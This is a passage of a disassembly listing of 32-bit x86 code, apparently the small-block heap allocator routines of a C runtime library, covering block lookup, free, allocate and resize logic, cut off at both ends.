48B684h, 5F7FE890h, 0C0330240h dd 58016AC3h, 14068C3h, 6A0000h, 0B68435FFh, 0ADE80048h dd 90022D52h, 7CA3C085h, 750048B6h, 4C8BC301h, 25830424h dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh dd 6805C700h, 100048B6h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_48B678 lea ecx, [eax+eax*4] mov eax, dword_48B67C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_48B674 test eax, eax jz loc_41B0CA mov ecx, dword_48B66C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_48B66C mov eax, dword_48B674 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_48B674 mov ecx, dword_48B66C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_48B674 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_48B674 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_48B674 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_48B674 push dword ptr [eax+10h] push 0 push dword_48B684 nop call near ptr 26E0000h mov eax, dword_48B678 mov edx, dword_48B67C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_48B674 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_48B678 cmp eax, dword_48B674 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_48B67C mov dword_48B670, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_48B66C, edi mov dword_48B674, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_48B678 mov edx, dword_48B67C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_48B670 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_48B670, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_48B674 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_48B66C jnz short loc_41B3D9 and dword_48B674, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_48B678 mov ecx, dword_48B668 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48B67C push edi push dword_48B684 nop call near ptr 2800000h cmp eax, edi jz short loc_41B479 add dword_48B668, 10h mov dword_48B67C, eax mov eax, dword_48B678 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_48B67C push 41C4h push 8 lea eax, [eax+eax*4] push dword_48B684 lea esi, [ecx+eax*4] nop call near ptr 26F0000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi call near ptr 2830702h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_48B684 nop call near ptr 26E0000h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_48B678 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2830702h test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp 